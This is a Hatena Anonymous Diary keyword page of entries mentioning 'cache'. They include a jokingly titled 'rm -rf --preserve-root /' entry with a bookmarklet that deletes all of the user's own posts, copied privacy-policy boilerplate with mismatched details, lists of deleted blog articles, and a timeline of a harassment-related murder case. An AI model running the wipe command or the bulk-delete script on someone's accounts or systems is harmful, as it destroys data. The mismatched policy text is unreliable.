「cache」を含む日記 RSS

はてなキーワード: cacheとは

2020-05-24

$ rm -rf --preserve-root /

  1. 以下のスクリプトコピーする
  2. [日記を書く] ページに行く
  3. アドレス欄に「javascript:」と入力し、コピーしたスクリプトを貼り付け
(async function() {

const cover = document.createElement("div");
cover.style.cssText = "position: fixed; left: 0; top: 0; width: 100%; height: 100%; background: rgba(255,255,255,0.5)";
document.body.appendChild(cover);

cover.appendChild(document.createElement("progress")).style.cssText="margin: auto";

async function get_list(hatena_id) {
  const res = await (await fetch(`/${hatena_id}/`)).text();
  const links = Array.from(res.match(/edit\?id=\d+"\x3e/g));
  return links.map(function(link){return link.slice(8, -2)});
}

const rkm = encodeURIComponent(document.edit.rkm.value);
const hatena_id = document.querySelector(".username a").textContent;

let num = 0;
for(;;) {
  const list = await get_list(hatena_id);
  if(list.length == 0) return;
  await Promise.all(list.map(function(article_id){return fetch(`https://anond.hatelabo.jp/${hatena_id}/edit`, {"credentials":"include","headers":{"accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8","accept-language":"ja,en-US;q=0.9,en;q=0.8,de;q=0.7","cache-control":"max-age=0","content-type":"application/x-www-form-urlencoded","save-data":"on","upgrade-insecure-requests":"1"},"referrer":"https://anond.hatelabo.jp/","referrerPolicy":"origin","body":`rkm=${rkm}&mode=confirm&id=${article_id}&title=&body=&delete=%E5%89%8A%E9%99%A4%E3%81%99%E3%82%8B`,"method":"POST","mode":"cors"}).then(() => {
    console.log("deleted:", article_id);
  })}));
  num += list.length;
}

document.body.removeChild(cover);
alert(`Finish! Deleted ${num} articles!`);

})();

2020-05-19

プライバシーポリシー : ICカードリーダー

This Privacy Policy explains the information that Seiya Hori ("Seiya Hori" "**we**" "**us**" or "**our**"). collects when you use our app (the "**Services**"), how that information is used, with whom it may be shared, and your privacy choices.

## **1. Introduction**

### **Who we are and what we do**

It's become a timer app for indoor strength training. The app is focused on those who exercise and is easy to use.

### **Acceptance and Changes**

By registering for, downloading, or using our services, you accept this Privacy Policy. We may modify this Privacy Policy from time to time.

## **2. Children's Privacy**

We do not knowingly collect personal information from individuals who are under the minimum required ages specified herein. You must be at least 18 years of age, or the age of majority in your jurisdiction (whichever is greater), to use our services.

## **3. Data We Collect About You**

We collect information about you when you use our services. In addition, third parties may collect information about you when you use our services. Collected information may include or reflect personal information that could identify you, as well as non-personal information. We refer to your information as "**your data**" for short.

### **Content**

Accountholders may create a profile and upload content such as videos. For more details, see **Section 9**. You may allow us to access your camera roll for the purpose of automatically creating videos.

### **Other Information You May Submit**

You may submit data to us for limited purposes such as requesting customer support; answering a questionnaire; participating in a study; entering contests or sweepstakes; or signing up to receive communications from us or another user.

### **Automatically-Collected Information**

We automatically collect certain types of data when you use our services, regardless of whether you have an account. This data includes your IP address, technical information about your device (e.g., browser type, operating system, basic device information), the web page you visited or search query you entered before reaching us, and your activities.

### **Information Collected by Third Parties**

Some third parties may collect data about you when you use our services. This may include data you submit (such as payment information) or automatically-collected information (in the case of third-party analytics providers and advertisers).

We may obtain data from third parties about you. We may combine that data with information that we have collected. For example, some advertisers or advertising platforms may allow us to determine what other online services you might use so that we may place relevant ads on those services.

## **4. How We Use Your Data**

We may use your data for the following purposes:

Identification and authentication:** We use your data to verify you when you access your account.
Operating our services:** We use your data to provide our services, process and fulfill orders, provide customer support, and to otherwise comply with our contractual obligations to you. We (and/or our third-party vendors) use your financial information to process purchases made by you.
Communicating with you:** We use your data when we communicate with you (e.g., when we respond to customer support or other inquiry).
Improving our services:** We use your data to understand how our services are being used and how we can improve them. In general, we analyze aggregated data, rather than specific user data. We may, however, need to analyze a specific case to address a specific problem (e.g., a bug that affects only a few accounts).
Customizing your experience:** We use your data to personalize the service to you. This may include remembering your preferences for language or volume or displaying videos that you might enjoy, based upon your viewing choices.
Marketing and advertising:** We use your data to display ads and send you offers. We may also use your data in delivering third-party advertisements to you. This may include "targeted ads" based upon your activities.
Exercising our rights:** Where reasonably necessary, we use your data to exercise our legal rights and prevent abuse of our service. For example, we may use your data to detect and prevent fraud, spam, or content that violates our Terms of Service.
Legal compliance:** We use your data where we are legally required to do so. For example, we may need to gather your data to respond to a subpoena or court order.
Protecting your information:** Where appropriate, we may anonymize, backup, and delete certain data.

We may use algorithms and other automated means to implement any of the above.

Whenever we process your data for one of these purposes, we have determined that one or more of the following lawful bases apply:

Performance of a contract;

Legitimate commercial interest;

Compliance with a legal obligation; or

Consent

## **5. With Whom We Share Your Data**

We may share data with third parties as follows:

With your consent:** We may share your data with third parties where we have obtained your express consent to do so. You may revoke these consents.
Authorized vendors:** We may share your data with third-party vendors that help us operate our services, process orders, and comply with your instructions and our contractual obligations. This includes payment processors, content delivery networks (CDNs), cloud-based hosting services, monitoring services, email service providers, quality assurance and testing vendors, fraud and abuse prevention vendors, and customer relations management (CRM) vendors.
Advertising:** We may share your data with advertising companies to display relevant ads to you. Unless you expressly agree, we will not share or sell your name, email address, or physical address with such persons.
Analytics:** We may share your data with persons who provide analytics showing how customers are using our services.
Affiliates and advisors:** We may share your data with our parent company, IAC/InterActiveCorp, and our auditors and advisors for planning, financial reporting, accounting, auditing, tax filings, and legal compliance. Unless you expressly agree, we will not share your data with our parent or any affiliate for other purposes, such as direct marketing.
Certain legal situations:** We may share your data where we believe disclosure is necessary to comply with a legal obligation or in connection with a corporate transaction as discussed in **Section 6**.
Aggregated or anonymized information:** We may publicly disclose non-personal aggregated or anonymized information such as our number of visitors and registered users.

We use reasonable efforts to vet vendors for their privacy and data security practices. We require that such vendors agree to protect the data we share.

## **6. Legal and Safety-Related Disclosures**

We may disclose your data in response to official requests (e.g., court orders, subpoenas, search warrants, national security requests, etc.) ("**requests**") that we receive from government authorities or parties to legal proceedings.

We handle Japanese requests in accordance with Japanese law. If the request originates from a foreign jurisdiction, we will typically disclose information where we in good faith believe that disclosure is permitted by Japanese law. In all cases, we may raise or waive any legal objection or right available to us, in our sole discretion.

We may disclose user data where we reasonably believe that someone's life is at risk. For example, if we become aware of a person threatening to commit suicide, we may share that person's data with appropriate entities that may have the ability to help.

We may disclose user data in situations involving legal claims against us or one of our users.

We may share your data with potential transaction partners, advisors, and others in the event our company is, in whole or part, acquired by a third party. In such a case, we will use reasonable efforts to require the acquiring entity to comply with this Privacy Policy.

## **7. Data Retention**

We may retain your data for as long as you have an account. We may retain logs of automatically collected information (for internal analytics); your email address; your tax information; communications with you; and your transactional information (for auditing, tax, and financial purposes). When we no longer have a business reason for retaining data, we will delete or anonymize it.

We may retain deleted videos on our servers for a short period in case you wish to reverse deletion. Once we delete a video, we may not be able to recover it. If you have previously made a video public, the video or its thumbnail may be discoverable in a search engine's cache for a time. We have no control over search engines; however, we will, upon request, send a request for deletion to major search engines.

If we receive legal process pertaining to your account, we will retain your data for as long as we in good faith believe is necessary to comply with the legal process. Similarly, if we believe that your account has been involved in wrongdoing, we may preserve your data to defend or assert our rights.

## **8. Your Privacy Choices**

We enable you to make numerous choices about your data:

You may choose not to provide us with certain information. For example, you may choose not to create an account or not to provide optional account information.

You may change your video privacy settings. See **Section 9** for more details.

You may change or correct information voluntarily submitted to us. We encourage you to keep your data current by viewing your account settings page.

You may opt-out of receiving commercial emails from us. See **Section 10** for more details.

You may limit the use of cookies. See our Cookie Policy for options.

You may backup your videos.

You may close your account (which will delete all videos) or delete certain videos.

Users from certain countries may have additional rights. See **Section 14** for more details.

## **9. Account and Video Privacy Settings**

Our video hosting and sharing tools offer the ability to limit the distribution of your content, including your videos. This section explains some of your choices.

## **10. Communications from Us**

### **Mobile Device Communications**

We may, with your consent, send push notifications in our apps. You may disable these by declining them or changing the app's settings. To the extent provided, we may, with your consent, send SMS messages to your mobile telephone for authentication and security purposes. You may opt out of receiving such messages at any time.

## **11. Protecting Your Information**

We use physical, technical, and organizational security measures to safeguard your data from unauthorized or accidental disclosure. Despite these efforts, no information system can be 100% secure, so we cannot guarantee the absolute security of your information.

## **12. Your Responsibilities**

You may receive other people's data in using our service. If you receive information from other users, you must comply with all laws, including those concerning privacy, data security, and online marketing.

## **13. Third-Party Services**

We may provide links to online services that we do not own or operate. These services fall outside of this Privacy Policy and we have no control over the data they collect. Once on a third-party site, your data may be collected by others. We encourage you to read the privacy policies of such services before using them.

You may use our service through third-party sites. For example, you may watch a video that is embedded on a third-party site or uses one of our apps on a third-party platform. This Privacy Policy covers our apps and video players but does not cover any third-party site or any third-party video player.

## **14. International Data Transfers and Certain User Rights**

### **Location of Data**

It is based in Japan. We provide services globally using computer systems, servers, and databases located in Japan. and other countries. When you use our services from outside of Japan, your information will be transferred to, stored in, and processed in Japan. and other countries. Please note that Japanese data and privacy laws may not be as comprehensive as those in your country.

2020-05-04

Privacy Policy - Muscle Timer App

This Privacy Policy explains the information that Seiya Hori ("Seiya Hori" "**we**" "**us**" or "**our**"). collects when you use our app (the "**Services**"), how that information is used, with whom it may be shared, and your privacy choices.

## **1. Introduction**

### **Who we are and what we do**

It's become a timer app for indoor strength training. The app is focused on those who exercise and is easy to use.

### **Acceptance and Changes**

By registering for, downloading, or using our services, you accept this Privacy Policy. We may modify this Privacy Policy from time to time.

## **2. Children's Privacy**

We do not knowingly collect personal information from individuals who are under the minimum required ages specified herein. You must be at least 18 years of age, or the age of majority in your jurisdiction (whichever is greater), to use our services.

## **3. Data We Collect About You**

We collect information about you when you use our services. In addition, third parties may collect information about you when you use our services. Collected information may include or reflect personal information that could identify you, as well as non-personal information. We refer to your information as "**your data**" for short.

### **Content**

Accountholders may create a profile and upload content such as videos. For more details, see **Section 9**. You may allow us to access your camera roll for the purpose of automatically creating videos.

### **Other Information You May Submit**

You may submit data to us for limited purposes such as requesting customer support; answering a questionnaire; participating in a study; entering contests or sweepstakes; or signing up to receive communications from us or another user.

### **Automatically-Collected Information**

We automatically collect certain types of data when you use our services, regardless of whether you have an account. This data includes your IP address, technical information about your device (e.g., browser type, operating system, basic device information), the web page you visited or search query you entered before reaching us, and your activities.

### **Information Collected by Third Parties**

Some third parties may collect data about you when you use our services. This may include data you submit (such as payment information) or automatically-collected information (in the case of third-party analytics providers and advertisers).

We may obtain data from third parties about you. We may combine that data with information that we have collected. For example, some advertisers or advertising platforms may allow us to determine what other online services you might use so that we may place relevant ads on those services.

## **4. How We Use Your Data**

We may use your data for the following purposes:

  • **Identification and authentication:** We use your data to verify you when you access your account.
  • **Operating our services:** We use your data to provide our services, process and fulfill orders, provide customer support, and to otherwise comply with our contractual obligations to you. We (and/or our third-party vendors) use your financial information to process purchases made by you.
  • **Communicating with you:** We use your data when we communicate with you (e.g., when we respond to customer support or other inquiry).
  • **Improving our services:** We use your data to understand how our services are being used and how we can improve them. In general, we analyze aggregated data, rather than specific user data. We may, however, need to analyze a specific case to address a specific problem (e.g., a bug that affects only a few accounts).
  • **Customizing your experience:** We use your data to personalize the service to you. This may include remembering your preferences for language or volume or displaying videos that you might enjoy, based upon your viewing choices.
  • **Marketing and advertising:** We use your data to display ads and send you offers. We may also use your data in delivering third-party advertisements to you. This may include "targeted ads" based upon your activities.
  • **Exercising our rights:** Where reasonably necessary, we use your data to exercise our legal rights and prevent abuse of our service. For example, we may use your data to detect and prevent fraud, spam, or content that violates our Terms of Service.
  • **Legal compliance:** We use your data where we are legally required to do so. For example, we may need to gather your data to respond to a subpoena or court order.
  • **Protecting your information:** Where appropriate, we may anonymize, backup, and delete certain data.

We may use algorithms and other automated means to implement any of the above.

Whenever we process your data for one of these purposes, we have determined that one or more of the following lawful bases apply:

## **5. With Whom We Share Your Data**

We may share data with third parties as follows:

We use reasonable efforts to vet vendors for their privacy and data security practices. We require that such vendors agree to protect the data we share.

## **6. Legal and Safety-Related Disclosures**

We may disclose your data in response to official requests (e.g., court orders, subpoenas, search warrants, national security requests, etc.) ("**requests**") that we receive from government authorities or parties to legal proceedings.

We handle Japanese requests in accordance with Japanese law. If the request originates from a foreign jurisdiction, we will typically disclose information where we in good faith believe that disclosure is permitted by Japanese law. In all cases, we may raise or waive any legal objection or right available to us, in our sole discretion.

We may disclose user data where we reasonably believe that someone's life is at risk. For example, if we become aware of a person threatening to commit suicide, we may share that person's data with appropriate entities that may have the ability to help.

We may disclose user data in situations involving legal claims against us or one of our users.

We may share your data with potential transaction partners, advisors, and others in the event our company is, in whole or part, acquired by a third party. In such a case, we will use reasonable efforts to require the acquiring entity to comply with this Privacy Policy.

## **7. Data Retention**

We may retain your data for as long as you have an account. We may retain logs of automatically collected information (for internal analytics); your email address; your tax information; communications with you; and your transactional information (for auditing, tax, and financial purposes). When we no longer have a business reason for retaining data, we will delete or anonymize it.

We may retain deleted videos on our servers for a short period in case you wish to reverse deletion. Once we delete a video, we may not be able to recover it. If you have previously made a video public, the video or its thumbnail may be discoverable in a search engine's cache for a time. We have no control over search engines; however, we will, upon request, send a request for deletion to major search engines.

If we receive legal process pertaining to your account, we will retain your data for as long as we in good faith believe is necessary to comply with the legal process. Similarly, if we believe that your account has been involved in wrongdoing, we may preserve your data to defend or assert our rights.

## **8. Your Privacy Choices**

We enable you to make numerous choices about your data:

Users from certain countries may have additional rights. See **Section 14** for more details.

## **9. Account and Video Privacy Settings**

Our video hosting and sharing tools offer the ability to limit the distribution of your content, including your videos. This section explains some of your choices.

## **10. Communications from Us**

### **Mobile Device Communications**

We may, with your consent, send push notifications in our apps. You may disable these by declining them or changing the app's settings. To the extent provided, we may, with your consent, send SMS messages to your mobile telephone for authentication and security purposes. You may opt out of receiving such messages at any time.

## **11. Protecting Your Information**

We use physical, technical, and organizational security measures to safeguard your data from unauthorized or accidental disclosure. Despite these efforts, no information system can be 100% secure, so we cannot guarantee the absolute security of your information.

## **12. Your Responsibilities**

You may receive other people's data in using our service. If you receive information from other users, you must comply with all laws, including those concerning privacy, data security, and online marketing.

## **13. Third-Party Services**

We may provide links to online services that we do not own or operate. These services fall outside of this Privacy Policy and we have no control over the data they collect. Once on a third-party site, your data may be collected by others. We encourage you to read the privacy policies of such services before using them.

You may use our service through third-party sites. For example, you may watch a video that is embedded on a third-party site or uses one of our apps on a third-party platform. This Privacy Policy covers our apps and video players but does not cover any third-party site or any third-party video player.

## **14. International Data Transfers and Certain User Rights**

### **Location of Data**

It is based in Japan. We provide services globally using computer systems, servers, and databases located in Japan. and other countries. When you use our services from outside of Japan, your information will be transferred to, stored in, and processed in Japan. and other countries. Please note that Japanese data and privacy laws may not be as comprehensive as those in your country.

2019-12-29

左翼は*を切る” ”ヘイヘイトー”

左翼は*を切る” ”ヘイヘイトー”との一致はありません。

左翼は*を切る ヘイヘイトー の検索結果 (引用符なし):

大村知事あいちリカエナハーレを主宰した在特会ヘイトとして ...

https://2ch.reviewcacheviewnews

2019/10/29 - んで、左翼さんのダブスタを明確にして、表現の自由とはなんぞやってのを問題提起したいんだと思う. 205 : ...... 2019/10/29(火) 15:54:35. パヨクは木を切る~ ヘイヘイトー. 458 : パレちゃん(茸) [US]. 2019/10/29(火) 15:54:35. >>1

パヨクだったか

2019-06-23

anond:20190623230918

電子レンジ冷蔵庫洗濯機なんかは

家電店の「新生活セット」なんかを狙うのが良いかも。

cacheで買うのでもっと安くして!とか言ってみたりして。

2019-02-21

「強い女メーカー」を紹介してた記事があちこち消えてる件

(2/21 10:37 追記)

この件に関する記事ブコメ欄で、数の人が「yowai-otoko氏 のブログエントリらしい」的なコメントともに

この記事  ttps://archive.is/l8Y1z (元URL: ttps://motemobile.com/tuyoi-onna ) のURLを貼ってるのを見かけたけど、

最初にこの URLを貼った(と思われる)ブコメ (2019/02/21 02:01) は以下の通り

http://b.hatena.ne.jp/entry/s/yowai-otoko.hatenablog.com/entry/2019/02/20/210633

作者が問題視し(https://twitter.com/agt87_/status/1098078070848671744)、消えた別(?)ブログキャッシュが→なので(https://archive.is/l8Y1z)、同様に出会い系アプリとか怪しい宣伝を絡めてたのでは。ブログ出して主張した方がいい

「消えた別(?)ブログ」と書いてる

にもかかわらず、これを誤読して「これがyowai-otoko氏 のブログエントリらしい」と勘違いしちゃったのか……

(追記おわり)





http://b.hatena.ne.jp/entry/s/anond.hatelabo.jp/20190220192222ブコメ

"強い女メーカー"でググって上から順に見ていくと、結構割合で404にぶち当たる。

が気になったので確認してみた

(※主に、ある程度くわしくメーカーの使い方を紹介してる記事のみ。

  埋め込みで画像つきツイートを羅列しただけの記事や、単に自分で作った画像を貼ってるだけのブログエントリは除外(そういうのはほぼ消えてない))


消えてる

Picrew「強い女メーカー」の使い方と人気の画像メーカーまとめ

ttps://did2memo.net/2019/01/20/picrew-how-to-use/

(archive.is) ttps://archive.is/kb63Z


『強い女メーカー』以外にも!かわいい似顔絵アイコンを作れるアバターメーカー5選♩ - isuta[イスタ] - おしゃれ、かわいい、しあわせ -

ttps://isuta.jp/category/iphone/2019/02/598341

(Googleキャッシュ) ttp://webcache.googleusercontent.com/search?q=cache:https%3A//isuta.jp/category/iphone/2019/02/598341


picrew(ピクルー)「強い女メーカー」の詳細と使い方、99%から動かなくなるエラー対処法を徹底解説 - SNSデイズ

ttps://snsdays.com/game-app/picrew-tuyoionna-manufacturer-use-error/

(Googleキャッシュ) ttp://webcache.googleusercontent.com/search?q=cache:https%3A//snsdays.com/game-app/picrew-tuyoionna-manufacturer-use-error/

(追記) この件に関するお詫び記事が出てた

ttps://snsdays.com/other/post-41798/


強い女メーカーのやり方や意外な楽しみ方は?韓国美女簡単に作れる! | MakeAlife

ttps://knowsfree.com/strongwoman/

(Googleキャッシュ) ttp://webcache.googleusercontent.com/search?q=cache:https%3A//knowsfree.com/strongwoman/


強い女メーカー美少年メーカーって何?使い方や作り方を紹介! | choco日記

ttps://wamadai.com/10477.html

(Googleキャッシュ) ttps://webcache.googleusercontent.com/search?q=cache:https%3A//wamadai.com/10477.html


Nom de plume(ノンデプルーム) 流行中の『強い女メーカー』こんな使い方も!?

ttp://www.nomdeplume.jp/appli/30669

(Googleキャッシュ) tttp://webcache.googleusercontent.com/search?q=cache:http%3A//www.nomdeplume.jp/appli/30669


【picrew】twitter話題の"強い女メーカー"ベスト作品まとめ | エリート痔主Blog

ttps://lirin522.com/strong-woman-maker-best

(Googleキャッシュ) ttp://webcache.googleusercontent.com/search?q=cache:https%3A//lirin522.com/strong-woman-maker-best


声優さんもハマっちゃうほど面白い!「強い女メーカー」で理想女性像や好きなキャラを作ろう! - にじめん

ttps://nijimen.net/topics/20874

(Googleキャッシュ) ttp://webcache.googleusercontent.com/search?q=cache:https%3A//nijimen.net/topics/20874


【Picrew】強い女メーカーTwitter流行!作者は誰?|ゆーまーLab

ttps://www.henaten109.com/entry/woman-maker/

(Googleキャッシュ) ttp://webcache.googleusercontent.com/search?q=cache:https%3A//www.henaten109.com/entry/woman-maker/


#強い女メーカー って知ってる? - NYLONブログファッション・ビューティカルチャー情報

ttps://www.nylon.jp/blog/babyui/?p=4461

(Googleキャッシュ) ttp://webcache.googleusercontent.com/search?q=cache:https%3A//www.nylon.jp/blog/babyui/%3Fp%3D4461


強い女メーカーとは!?使い方に楽しい遊び方 を簡単説明!作者は誰?

ttps://goyang88.com/archives/4211

(Googleキャッシュ) ttps://webcache.googleusercontent.com/search?q=cache:https%3A//goyang88.com/archives/4211


(2/22 15:17 「消えてない」から「消えてる」に移動)

SNS話題の「強い女メーカー」で強い女装してみた!│女子

ttps://www.salon-artshopping.com/image_maker_strongwoman.php

(archive.is) ttps://archive.is/6ppT1


(2/23 9:54 「消えてない」から「消えてる」に移動)

強い女メーカーアバター作成できる!強い女の作り方まとめ - 資産blog

ttps://sako-blo.com/avatar-creating-recommended

(archive.is) ttps://archive.is/Grfpm


消えてない

かわいい💗理想の顔が作れる「強い女メーカー」の作り方🙆🏼作者は誰?Picrew(ピクルー)とは? | APPTOPI

ttps://apptopi.jp/2019/01/22/strong-lady-maker/

(2/22 15:17 追記) 記事冒頭に

※当記事で利用の画像は、全て著作者様(@agt87_)の許可を得て利用させていただいております

という一文が追加されてた(この増田投稿した当初はなかった)


『強い女メーカー』がSNS流行中! クール可愛い似顔絵作成 -Appliv TOPICS

ttps://mag.app-liv.jp/archive/121105


強い女メーカーアプリお姫様メーカーTwitterSNS話題の人気急上昇 似顔絵メーカーが登場!

ttps://kuzumisan.com/entertainment/strong-girl-maker

(※記事内に

2019.01.29強い女メーカー作者の方に掲載許可

agt87_さんには、当サイトでご紹介させて頂く許可をとらせて頂きました。ありがとうございます

との記載あり)


Twitter話題の「強い女メーカー」が可愛すぎる! - NAVER まとめ

ttps://matome.naver.jp/odai/2154797631188884501


エンタビタミン♪】モー娘。AKB48ら「強い女」画像続々投稿 | Techinsight(テックインサイト)|海外セレブ国内エンタメのオンリーワンをお届けするニュースサイト

ttp://japan.techinsight.jp/2019/01/maki01221553.html


SNSで人気の【強い女メーカー】やってみました! | あんふぁんWeb

ttps://enfant.living.jp/enfant_mate/mate2_039/mate_other/693439/

(※記事内に

(2019.1.31付けでご本人に許可を得てご紹介しております)

との記載あり)


強い女メーカーとは何?使い方をPicrewのサービスと共に画像解説! | ピピポン.com

ttp://pipipipon.com/?p=561


強い女メーカーの作り方やアイコンにする方法!作者は誰?ツイッターは? | ぽこぽこ通信

ttps://pokonews.com/2019/01/20/tuyoionnamaker/

(※像が一切貼られていない。エントリ投稿当初からそうだったのか、警告を受けて画像のみ削除したのかは不明


強い女メーカーだけじゃない!可愛い女の子アイコンが作れるPicrewのメーカー5選 - ガールファンタスティックメモリー

ttp://www.girlsfantasticmemory.site/entry/2019/02/03/%E5%BC%B7%E3%81%84%E5%A5%B3%E3%83%A1%E3%83%BC%E3%82%AB%E3%83%BC%E3%81%A0%E3%81%91%E3%81%98%E3%82%83%E3%81%AA%E3%81%84%EF%BC%81%E5%8F%AF%E6%84%9B%E3%81%84%E5%A5%B3%E3%81%AE%E5%AD%90%E3%81%AE

(※記事内に

作者様より、2019年2月3日付でこちらのブログでの使用許可を得て掲載しています

との記載あり)


「#強い女」はお好きですか?あなたのなりたい理想に近づける、再現メイクテクMERY [メリー]

ttps://mery.jp/1044803

(※記事内に

2019年1月31日に「強い女メーカー製作者より使用許可を得て記事作成しております

※ご紹介するもの会社サービスではございません。これは一個人趣味制作物で、イラスト著作権は全て「強い女メーカー」の製作者に帰属しますのでくれぐれもご注意ください。

との記載あり)


いまTwitterで大流行中! 強い女メーカーって知ってる?♡ - HARUHARU〈ハルハル

ttps://haru2.jp/articles/NrtkH

(※記事内に

2019年1月24日付で強い女メーカーの作者さまに記事への利用許可を取っています

との記載あり)





Googleキャッシュの日付からすると、「消えてる」の方はここ数日以内に削除されたのばかりみたい

たぶん yowai-otoko の人と同様のメールを送りつけられたためだと思われる

個人的には、どれもそんなに悪質だとは思えないし、この程度であんメール送られなきゃいけないのか……という感覚

これらの記事が、本当にピクルー規約違反してたのか・法的に問題があったのか否かは知らんけど

2019-01-13

anond:20190113194737

ひょっとして、🐈これニャ?

といってもこのページも、はてなブログという罠。

増田ニャンはChromeとかでアクセスして読んでニャ。

😺ぶっちゃけ履歴cacheクッキーを削除だって。🐈はいつもばんばん消してるからあくのかな?

iPhoneMac Safari不安定「ページが開けません 多くのリダイレクトが発生しています」を解決! 遅いサファリがサックサク

https://sky-life-world.hatenablog.com/entry/2018/01/19/193353

2018-08-08

氷河期叩く前に知ってほしい

http://webcache.googleusercontent.com/search?q=cache%3Ahttps%3A%2F%2Fanond.hatelabo.jp%2F20180807210754&oq=cache%3Ahttps%3A%2F%2Fanond.hatelabo.jp%2F20180807210754&aqs=chrome..69i57j69i58.1277j0j4&sourceid=chrome&ie=UTF-8

オッスおら氷河期

この増田は新氷河期世代らしいが、元祖氷河期だぞ。

上のエントリみてふと思ったことがあるので聞いてくれ。

まず氷河期世代は何もしなかったわけじゃない。

わしは早稲田文系に通っていたが、当時の不穏な空気を感じた人は

ダブルスクールしていたり、サークル幹事になってイベントやったりしていたよ

彼らは氷河期の中でも勝ち組になったんじゃないだろうか

たださあ、ただでさえバカ高い授業料払っているのにダブルスクールする余裕があるんだぜ…

氷河期勝ち組が同世代負け組を見下すのは見慣れた光景だけどお前ら最初から超恵まれているじゃんか。

かくいう自分漫画家目指して大学全然いかなくて中退して

デザイナーになりたくてCG学校通った(言っておくがバイトサラ金から借りた金で親には払わせていない)

当時は写植印刷からMACに移る過渡期でわしのように若くて体力のあるやつは

大学中退したやつても中くらいのデザイン会社ならもくりこめた。社員として。

なので自分自身はあまり氷河期の悲哀みたいのは実は味わっていない。

氷河期でも氷河期の悲哀を味わってないやつは一定数いて

そもそも裕福でダブルスクールできるような奴

②わいのようにドロップアウトして、あえて需要のありそうな業界にいく奴

この二通りだけじゃないのかな。

でもさあ自分が今の時代に生まれたら、英語勉強してようつべチュートリアル見てCG勉強するよ。

専門学校になんていかなかった。

当時はインターネット一般に普及し始めたばかりで、今みたいに無料チュートリアルなんて大してなかったんだよ

から専門学校にいけばどうにかなるんじゃないかと思ってバカ高い学費払った。

あの金は本当に無駄だったな。

とにかく知ってほしいのは

①当時は就活のためにボランティアとかサークル役職につくとかやっていたのはほんの一握り。

なぜならそういう就活対策のようなものが普及していなかったから。

インターネット黎明期で大したコンテンツがなくて、それゆえに大学生でも「情弱」ばっかり。

③この当時の大学生は「失われた20年の悲哀」を味わっていない。この意味では今の大学生よりもあまあまな部分があるかもしれんが、それは仕方ないじゃんか。

なので氷河期世代をあまり責めないでほしい。

そもそもお前の親戚の増田、お前に「俺がこうなったのは時代が悪かったんだ」とか言ったの?言ってないだろ。

氷河期の間でもそんなこと恥ずかしくてリアルで口にだして傷のなめ合いなんてせんわ。

リアルで言えないかネットで吐き出すんだよ。

もう本当に放っておいてくれよ。

2018-07-05

[]anond:20180624154720

GIMP 2.10.4 Released

2018-07-04

https://www.gimp.org/news/2018/07/04/gimp-2-10-4-released/

Asynchronous Fonts Loading

Loading all available fonts on start-up can take quite a while, because as soon as you add new fonts or remove existing ones, fontconfig (a 3rd party utility GIMP uses) has to rebuild the fonts cache. Windows and macOS users suffered the most from it.

Thanks to Jehan Pagès and Ell, GIMP now performs the loading of fonts in a parallel process, which dramatically improves startup time. The caveat is that in case you need to immediately use the Text tool, you might have to wait till all fonts complete loading. GIMP will notify you of that.

まだサイトトップからダウンロード可能になっていない

2018-06-28

はてな村殺人事件の経緯をまとめておく

(6/29追記)

トラバブコメでのツッコミに基づき随時追記中です。

※本エントリ事件の経緯をできるだけ客観的に記すことで「被害者が煽ってたことで容疑者逆恨みされた」といった誤った吹聴を防ぐ目的で書かれています。抜けなどありましたらトラバブコメで指摘いただけると助かります

(6/30追記)

なんか東洋経済に似たような記事があがってるんだが?

ttp://archive.is/C6b8r

ttps://webcache.googleusercontent.com/search?q=cache:C5tAq1Ren7cJ:https://toyokeizai.net/articles/-/227515%3Fpage%3D2+&cd=1&hl=ja&ct=clnk&gl=jp

ttps://webcache.googleusercontent.com/search?q=cache:uCxfjkfhE3gJ:https://toyokeizai.net/articles/-/227515%3Fpage%3D3+&cd=1&hl=ja&ct=clnk&gl=jp

はてブ増田の紹介から始まる記事構成とか経緯のところのリンク丸かぶり。「『低能先生』に人を殺せる筈がない」という煽りコメント増田サルベージできなかったか毎日新聞リンクはったところまでかぶってる。

日刊SPAもここ参照して記事かいてたけど、参照したことが明記してあるだけ本田なんとかさんよりよほどマシだな。

 

登場するはてな社製サービス

 

経緯(推測含む)

1. 遅くとも2014年以降、とあるはてなユーザ(本件容疑者、以降「低能先生」)が、はてなブックマーク増田で(低能先生無関係だが彼にとって気に入らないコメントをした)ユーザーに「idコール」やトラバを使って「低能」ほか罵詈雑言を飛ばす

https://anond.hatelabo.jp/20180628005112

https://anond.hatelabo.jp/20180628170234

低能先生コメントサンプル

 

2. 低能先生が1を繰り返すうち、罵られたブックマークユーザを中心に存在認識され、「低能君」「低能連呼君」「高能様」「低能拗ね男」などといったあだ名がつく。それらを経て「低能先生」に変化(2015年の段階で「他の増田に絡んでトラバリー無駄に伸びる原因になる人」「相手を「低能」と馬鹿にするのが特徴で、「低能君」または「低能連呼君」と呼ばれて増田たちに親しまれている」とあるhttps://anond.hatelabo.jp/20150806110746

http://b.hatena.ne.jp/entry/366621416/comment/sabacurry

 

3. 「低能先生」に罵られたら運営通報するという流れ(仕組み?)が自然発生的に出来上がる。通報されるとアカウントが停止処分になるため、低能先生は新たなアカウントを取得し、1を繰り返す

https://anond.hatelabo.jp/20170921212825

低能先生アカウントと思われるもの一覧。2016年以前から活動している

3.の補足:2016年時点で著名なはてなユーザを強く批判し、運営への通報情報開示請求をされている

http://kyoumoe.hatenablog.com/entry/20160815/1471195528

※kyoumoeが大島薫氏を批判した記事にrkmajishineというアカウント(上述の一覧に記載あり)でブックマークコメントを付け、その後、増田批判記事ttp://archive.is/mrJwB)を投稿(もう1件あるようだがサルベージできなかった)

※kyoumoeは事件後の2018/6/25に「とりあえず情報が全て事実だったとして、そうなると殺されてたのは俺かもしれないなという気持ちは多少はある。」とコメントttp://kyoumoe.hatenablog.com/entry/20180625/1529897639)

※外部リンク一定数を超えると増田投稿できないので以降h抜き

 

4. 2018/5/2にhagexが「低能先生」に定期的に罵られていること、都度通報していることをブログに書く

ttp://hagex.hatenadiary.jp/entry/2018/05/02/112825

hagexは「株式会社はてなは、低能先生に対して「威力業務妨害」で訴えるべき」と主張

上記以外にhagexブログ低能先生言及したエントリに「しかし、イケダハヤトさんの煽りって低能先生以下のレベルだよな〜 いや、それは低能先生に失礼か。ゴメンね低ちゃん。」がある(ttp://hagex.hatenadiary.jp/entry/2018/05/10/132154)

 

4.の補足:低能先生が「ネットリンチ」および(彼の視点からはそれを引き起こす)hagexを嫌っていたという指摘あり

Hagexの『はあちゅうイケハヤ炎上記事』にコメントをすると、低能先生からIDコールで罵倒されることが多かった」(ttps://anond.hatelabo.jp/20180626103015)

